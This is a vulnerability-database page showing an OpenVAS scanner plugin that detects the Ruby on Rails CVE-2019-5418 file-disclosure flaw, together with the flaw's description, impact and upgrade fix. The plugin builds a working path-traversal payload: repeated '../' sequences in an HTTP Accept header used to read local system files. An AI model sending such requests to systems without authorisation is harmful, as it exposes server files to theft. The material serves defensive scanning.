Lucene search
+L

Ruby on Rails 'CVE-2019-5418' LFI (Local File Inclusion) Vulnerability

🗓️ 17 Mar 2019 00:00:00Reported by Copyright (C) 2019 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 2261 Views

CVE-2019-5418 LFI Vulnerability in Ruby on Rail

Related
Refs
Code
# SPDX-FileCopyrightText: 2019 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.108562");
  script_version("2025-08-07T05:44:51+0000");
  script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");
  script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
  script_cve_id("CVE-2019-5418", "CVE-2019-5419");
  script_tag(name:"last_modification", value:"2025-08-07 05:44:51 +0000 (Thu, 07 Aug 2025)");
  script_tag(name:"creation_date", value:"2019-03-17 11:11:44 +0100 (Sun, 17 Mar 2019)");
  script_tag(name:"cvss_base", value:"7.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:C");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2020-10-16 19:02:00 +0000 (Fri, 16 Oct 2020)");
  script_name("Ruby on Rails 'CVE-2019-5418' LFI (Local File Inclusion) Vulnerability");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2019 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_xref(name:"URL", value:"https://www.openwall.com/lists/oss-security/2019/03/13/5");
  script_xref(name:"URL", value:"https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q");
  script_xref(name:"URL", value:"https://chybeta.github.io/2019/03/16/Analysis-for%E3%80%90CVE-2019-5418%E3%80%91File-Content-Disclosure-on-Rails/");
  script_xref(name:"URL", value:"https://github.com/rails/rails/commit/f4c70c2222180b8d9d924f00af0c7fd632e26715");

  script_tag(name:"summary", value:"The web application on the remote host is prone to a LFI (Local File Inclusion)
  vulnerability if the hosting system is running an outdated version of Ruby on Rails.");

  script_tag(name:"insight", value:"There is a possible file content disclosure vulnerability in Action View.
  Specially crafted accept headers in combination with calls to 'render file:' can cause arbitrary files on the target
  server to be rendered, disclosing the file contents.

  The impact is limited to calls to 'render' which render file contents without a specified accept format. Impacted code
  in a controller looks something like this:

  class UserController < ApplicationController

    def index

      render file:'#{Rails.root}/some/file'

    end

  end

  Rendering templates as opposed to files is not impacted by this vulnerability.");

  script_tag(name:"impact", value:"An attacker might be able to read any file on the file system
  of the host system.");

  script_tag(name:"affected", value:"Web applications running a Ruby on Rails version prior to
  6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2 or 4.2.11.1 and which are passing untrusted user input
  into the mentioned 'Action View'.");

  script_tag(name:"solution", value:"Update the Ruby on Rails version to 6.0.0.beta3, 5.2.2.1, 5.1.6.2,
  5.0.7.2 or 4.2.11.1 or later.

  If this is not possible mitigations steps on how to update the affected code path of the application
  are provided in the references.");

  script_tag(name:"vuldetect", value:"Send a crafted HTTP GET request and check the response.");

  script_tag(name:"qod_type", value:"remote_app");
  script_tag(name:"solution_type", value:"VendorFix");

  script_timeout(600);

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("host_details.inc");
include("os_func.inc");
include("misc_func.inc");
include("traversal_func.inc");
include("list_array_func.inc");

port = http_get_port( default:80 );
host = http_host_name( dont_add_port:TRUE );

if( ! cgis = http_get_kb_cgis( port:port, host:host ) )
  exit( 0 );

files = traversal_files();

foreach cgi( cgis ) {

  if( " - " >< cgi ) {

    _cgi = split( cgi, sep:" - ", keep:FALSE );

    if( isnull( _cgi[0] ) )
      continue;

    url = _cgi[0];
    url = chomp( url );
  } else {
    continue;
  }

  foreach pattern( keys( files ) ) {

    file = files[pattern];
    accept = crap( data:"../", length:3*9 ) + file + "{";

    req = http_get_req( port:port, url:url, accept_header:accept );
    res = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );

    if( res =~ "^HTTP/1\.[01] 200" && line = egrep( string:res, pattern:pattern, icase:FALSE ) ) {

      info['HTTP Accept header'] = accept;
      info['URL'] = http_report_vuln_url( port:port, url:url, url_only:TRUE );

      report  = 'By doing a HTTP GET request with the following data:\n\n';
      report += text_format_table( array:info ) + '\n\n';
      report += 'it was possible to read the content of the local file "/' + file + '".';
      report += '\n\nResult: ' + line;

      expert_info += 'Request:\n'+ req + '\n\nResponse:\n' + res;
      security_message( port:port, data:report, expert_info:expert_info );
      exit( 0 );
    }
  }
}

exit( 99 );

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Aug 2025 00:00Current
7.2High risk
Vulners AI Score7.2
CVSS 27.8
CVSS 3.17.5
EPSS0.98507
SSVC
2261